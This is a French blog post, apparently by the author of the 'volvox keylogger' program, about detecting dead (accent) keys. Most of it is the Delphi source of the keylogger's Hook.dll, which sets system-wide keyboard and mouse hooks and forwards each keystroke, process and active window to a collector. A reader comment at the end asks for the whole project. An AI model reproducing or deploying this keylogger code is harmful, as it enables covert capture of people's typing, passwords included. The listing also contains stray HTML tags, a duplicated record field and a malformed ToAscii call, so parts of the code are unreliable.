L’encyclopédie Wikipédia donne une bonne définition de la touche morte sur les claviers d’ordinateur: « Une touche morte est une touche qui ne produit aucun résultat lorsqu’elle est enfoncée, mais modifie le comportement de la prochaine touche qui sera enfoncée. Il existe de nombreuses combinaisons de touches mortes et selon les dispositions des claviers et les réglages, le comportement des touches connues comme étant mortes est quelque peu différent. » [Ref: Wikipédia – Touche Morte]
La touche morte sert habituellement à poser un accent sur les voyelles pour les clavier ne les offrant pas directement, par exemple ‘ â, ê, î, ù, ë…’ et leurs majuscules. Ainsi, la touche ‘ ^ ‘ est une touche morte qui va s’afficher seulement lorsqu’une deuxième touche est enfoncée.
La touche morte est définie sur le clavier par les paramètres régionaux du système, ce qui peut compliquer la programmation lorsque l’on veut les interpréter. C’est le cas pour mon logiciel enregistreur de frappes ‘volvox keylogger‘ qui actuellement ne sait pas déceler les touches mortes utilisées; dans une version à venir, ces touches seront prises en considération. Une façon simple de détecter la touche morte est par une fonction qui filtre les frappes en utilisant les keyboard input reference GetKeyboardState ou MapVirtualKey. Par exemple:
Function GetCharFromVKey( vkey: word ): String; var keystate: TKeyboardState; retcode: Integer; begin Win32Check( GetKeyboardState( keystate )); SetLength( Result, 2 ); retcode := ToAscii( vkey, 0 ); Case retcode Of 0: Result := ''; // vide 1: SetLength(Result,1); Else Result := ''; { retcode < 0 indique une touche morte} End; end;
ou plus simplement :
function IsDeadKey(Key: Word): Boolean; begin if MapVirtualKey(Key, 2) < = 0 then Result := True else Result := False; end;
Dans le programme, la fonction de touche morte sera placée dans la librairie (Hook.dll) responsable de la capture des touches et de la souris :
uses SysUtils, Windows, Messages, Classes, Dialogs; {$R *.res} type PTMapFile = ^TMapFile; TMapFile = record HMouseHook: Cardinal; { handle du hook souris} HKeybrdHook: Cardinal; {handle du hook clavier} HMouseDestWindow : Cardinal; {handle de la fenetre qui appelle le hook souris} HKeybrdDestWindow : Cardinal; {handle de la fenetre qui appelle le hook clavier} end; TMouseInfo = record aMsg: WParam; pt: TPoint; hwnd: Hwnd; wHitTestCode: Uint; dwExtraInfo: Dword; end; TKeybrdInfo = record VirtualKey : Integer; {Le code Virtuel de la touche} KeyStore : Integer; {Informations diverses dont l'état de la touche} VirtualKey : Integer; CurrentProcessId: Cardinal; {id du processus concerné} CurrentControl: Cardinal; {handle du contrôle qui a le focus} WindowHwnd: Cardinal; {handle de la fenetre concerné} end; var HMapFile : Cardinal=0; {Handle de fichier mappé} PMapFile : PTMapFile=nil; {pointeur sur la zone mémoire} mKey : string;</strong> function MouseProc(Code: integer; Msg: WParam; MouseHook: LParam): LResult; stdcall; var InfoEnvoye: TMouseInfo; {la donnée envoyée} MouseStruct: TMouseHookStruct; CopyDataStruct: TCopyDataStruct; begin Result:=0; if Code= HC_ACTION then {si le message a été reçu par l'application concernée} begin MouseStruct:= PMouseHookStruct(MouseHook)^; if PMapFile^.HMouseDestWindow<>0 then begin InfoEnvoye.pt:= MouseStruct.pt; InfoEnvoye.hWnd:= MouseStruct.hwnd; InfoEnvoye.wHitTestCode:= MouseStruct.wHitTestCode; InfoEnvoye.dwExtraInfo:= MouseStruct.dwExtraInfo; InfoEnvoye.AMsg:= Msg; CopyDataStruct.cbData:= SizeOf(InfoEnvoye); CopyDataStruct.lpData:= @InfoEnvoye;</strong> SendMessage(PMapFile.HMouseDestWindow, WM_COPYDATA,0,LongInt(@CopyDataStruct)); end; end; if Code< HC_ACTION then Result:= CallNextHookEx(PMapFile^.HMouseHook,Code,Msg,MouseHook); end; function BeginMouseHook(HDest: THandle): Boolean; stdcall; begin Result:= False; if (HDest<>0) and (PMapFile^.HMouseHook=0) then begin {mémorisation du Handle de la fenetre qui appelle le hook} PMapFile^.HMouseDestWindow:= HDest; {initialisation du hook Souris} PMapFile^.HMouseHook:= SetWindowsHookEx(WH_MOUSE,@MouseProc, HInstance,0); Result:= True; end; end; procedure EndMouseHook ; stdcall; begin UnhookWindowsHookEx(PMapFile^.HMouseHook); PMapFile^.HMouseDestWindow:= 0; PMapFile^.HMouseHook:= 0; end; {obtenir le caractère de la touche virtuelle pressée @param vkey est le code de la touche virtuelle, e.g. Key parameter de OnKeyDown handler. @retourne le caractère ' ' si la touche n'est pas un caractère. En de rares occasions la touche peut retourner deux caractères, e.g. si un accent est pressé suivi d'une deuxième touche qui n'est pas une lettre. } function GetCharFromVKey( vkey: word ): String; var keystate: TKeyboardState; retcode: Integer; begin Win32Check( GetKeyboardState( keystate )); SetLength( Result, 2 ); retcode := ToAscii( vkey, MapVirtualKey( vkey, 0 ), keystate, @Result[1], 0 ); Case retcode Of 0: Result := ''; {pas un caractère} 1: SetLength(Result,1); 2: ; Else Result := ''; {retcode < 0 indique une touche morte} End; end; { procedure TForm1.Memo1KeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); begin label1.Caption := GetCharFromVKey(Key); end; } function KeyboardProc(Code: integer; VirtualKeyCode: WPARAM; KeyStoreMsgInfo: LPARAM):LRESULT; stdcall; var keypress : string; KeybrdInfo: TKeybrdInfo; CopyDataStruct: TCopyDataStruct; begin Result:=0; if Code= HC_ACTION then {si le message a été reçu par l'application concernée} begin KeybrdInfo.VirtualKey:= VirtualKeyCode; {ajouté parce que les flèches haut et bas ne fonctionnent pas autrement!} if VirtualKeyCode = VK_DOWN then Exit else {touche flèche bas} if VirtualKeyCode = VK_UP then Exit else {touche flèche haut} KeybrdInfo.KeyStore := KeyStoreMsgInfo; { informations relatives} KeybrdInfo.CurrentProcessId:= GetCurrentProcessId; {process actif} KeybrdInfo.CurrentControl:= GetFocus; {controle actif} KeybrdInfo.WindowHwnd:= GetActiveWindow; {fenetre active} {remplissage de la structure pour l'envoyer a notre programme} CopyDataStruct.cbData:= SizeOf(KeybrdInfo); CopyDataStruct.lpData:= @KeybrdInfo; {envoie e la structure } SendMessage(PMapFile^.HKeybrdDestWindow,WM_COPYDATA,1,LongInt(@CopyDataStruct)); end; {on renvoie la valeur} if Code< HC_ACTION then Result:= CallNextHookEx(PMapFile^.HKeybrdHook,Code,VirtualKeyCode,KeyStoreMsgInfo); end; function BeginKeybrdHook(HDest: THandle): Boolean; stdcall; begin Result:= False; if (HDest<>0) and (PMapFile^.HKeybrdHook=0) then begin {mémorisation du Handle de la fenetre qui appele le hook} PMapFile^.HKeybrdDestWindow:= HDest; {initialisation du hook Souris} PMapFile^.HKeybrdHook:= SetWindowsHookEx(WH_KEYBOARD,@KeyboardProc,HInstance,0); Result:= True; end; end; procedure EndKeybrdHook;stdcall; begin UnhookWindowsHookEx(PMapFile^.HKeybrdHook); PMapFile^.HKeybrdDestWindow:=0; PMapFile^.HKeybrdHook:=0; end; Procedure LibraryProc(Reason:Integer); begin case Reason of DLL_PROCESS_ATTACH: {si la dll vien d'etre chargée} Begin {création d'une zone memoire de données} HMapFile := CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,sizeof(TMapFile),'NMB HOOK'); {ouverture d'une vue sur les données en memoire} PMapFile := MapViewOfFile(HMapFile,FILE_MAP_WRITE,0, 0,0); end; DLL_PROCESS_DETACH: {si la dll est sur le point d'être déchargée} begin {Destruction de la vue sur la zone de mémoire partagée} UnmapViewOfFile(PMapFile); {Détachement de la zone de mémoire partagée} CloseHandle(HMapFile); end; end; end; Exports EndMouseHook; Exports BeginMouseHook; Exports BeginKeybrdHook; Exports EndKeybrdHook; begin DllProc:= @LibraryProc; LibraryProc(DLL_PROCESS_ATTACH); end.
La mise à jour du logiciel ‘Volvox Keylogger’ à venir bientôt.
Bonjour Volvox,
J’aprécie beaucoup votre site et souhaiterai savoir s’il serai possible d’obtenir le projet delphi du keylogger.
Merci d’avance;
CmC